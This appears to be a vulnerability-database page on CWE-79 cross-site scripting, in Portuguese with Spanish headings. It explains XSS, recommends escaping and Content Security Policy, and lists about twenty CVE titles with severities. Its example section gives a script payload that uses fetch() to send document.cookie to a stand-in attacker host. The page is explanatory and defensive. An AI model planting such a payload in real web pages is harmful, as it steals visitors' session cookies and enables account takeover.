Fallos del tipo CWE-79

29.621 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12437MEDIUMMarketplace Items <= 1.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2025-54423MEDIUMcopyparty has a DOM-Based XSS vulnerability when displaying multimedia metadataEPSS 0.4%CVE-2024-2523LOWMAGESH-K21 Online-College-Event-Hall-Reservation-System booktime.php cross site scriptingEPSS 0.4%CVE-2024-39162MEDIUMpyspider through 0.3.10 allows /update XSS. NOTE: This vulnerability only affects products that are no longer supported by the maintainerEPSS 0.4%CVE-2024-11829MEDIUMThe Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.1.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-41239MEDIUMDOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM modeEPSS 0.4%CVE-2024-10785MEDIUMGutenberg Blocks with AI by Kadence WP – Page Builder Features <= 3.3.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-2065LOWSourceCodester Barangay Population Monitoring System update-resident.php cross site scriptingEPSS 0.4%CVE-2024-13202MEDIUMwander-chu SpringBoot-Blog Blog Article PageController.java modifiyArticle cross site scriptingEPSS 0.4%CVE-2023-25040MEDIUMWordPress Shortcodes Ultimate Plugin <= 5.12.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-31081HIGHWordPress Enable Media Replace plugin <= 4.1.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-40290MEDIUMReflected cross-site scripting in PHP Point of Sale version 19.0, by PHP Point of Sale, LLC.EPSS 0.4%CVE-2026-8152CRITICALUnblu Spark Open Redirect leading to DOM-Based XSSEPSS 0.4%CVE-2023-29636MEDIUMCross site scripting (XSS) vulnerability in ZHENFENG13 My-Blog, allows attackers to inject arbitrary web script or HTML via the "title" fielEPSS 0.4%CVE-2018-25097LOWAcumos Design Studio cross site scriptingEPSS 0.4%CVE-2024-10197MEDIUMcode-projects Pharmacy Management System Manage Supplier Page manage_supplier.php cross site scriptingEPSS 0.4%CVE-2020-19660MEDIUMCross Site Scripting (XSS) pandao editor.md 1.5.0 allows attackers to execute arbitrary code via crafted linked url values.EPSS 0.4%CVE-2023-50947MEDIUMIBM Business Automation Workflow cross-site scriptingEPSS 0.4%CVE-2024-11116MEDIUMInappropriate implementation in Blink in Google Chrome prior to 131.0.6778.69 allowed a remote attacker who convinced a user to engage in spEPSS 0.4%CVE-2023-30489HIGHWordPress Email Subscription Popup Plugin <= 1.2.16 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%